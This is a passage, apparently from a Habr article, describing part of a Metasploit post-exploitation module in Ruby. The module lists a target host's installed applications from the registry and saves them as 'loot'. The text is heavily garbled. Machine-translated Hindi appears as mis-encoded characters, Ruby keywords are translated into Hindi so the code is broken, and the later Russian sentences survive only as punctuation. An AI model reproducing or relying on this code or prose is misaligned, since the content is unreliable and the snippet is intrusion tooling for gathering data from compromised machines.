рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдирд┐рдореНрди рдкрдВрдХреНрддрд┐рдпрд╛рдБ рд╕рдВрдмрдВрдзрд┐рдд рдХреЙрд▓рдо рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреЛ рднрд░рддреА рд╣реИрдВред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрд┐рд▓реНрдЯ-рдЗрди рд░рдЬрд┐рд╕реНрдЯреНрд░реА_рдЧреЗрдЯрд╡рд╛рд▓реНрдбрдбрд╛рдЯрд╛ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рдЬреЛ рдорд╛рдиреЛрдВ рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИ:

  рдкрд░рд┐рдгрд╛рдо = tbl.to_s
    рдкреНрд░рд┐рдВрдЯ_рд▓рд╛рдЗрди ("\ n" + рдкрд░рд┐рдгрд╛рдо + "\ n")
    p = store_loot ("host.applications", "text / plain", рд╕рддреНрд░, рдкрд░рд┐рдгрд╛рдо, "Applications.txt", "Installed Applications")
    Print_status ("рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкрд░рд┐рдгрд╛рдо: # {p}")
    рдЕрдВрдд
    рдбрд┐рдл рд░рди
    Print_status ("# {sysinfo ['Computer']} рдкрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди
    app_list
    рдЕрдВрдд
    рдЕрдВрдд 

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЕрдВрддрд┐рдо рдХреБрдЫ рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЕрд▓рдЧ рдкрд╛рда рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд╝рд╛рдЗрд▓ store_loot рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреЙрдкреБрд▓реЗрдЯреЗрдб рд╣реИ, рдЬреЛ рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдкреВрд░реНрдг рддрд╛рд▓рд┐рдХрд╛ рд╕рд╣реЗрдЬрддреА рд╣реИред

applications.txt . store_loot , .

, , . , . Ruby .

, тАФ Metasploit Framework тАФ - : Metasploit Framework

Source: https://habr.com/ru/post/In205512/


All Articles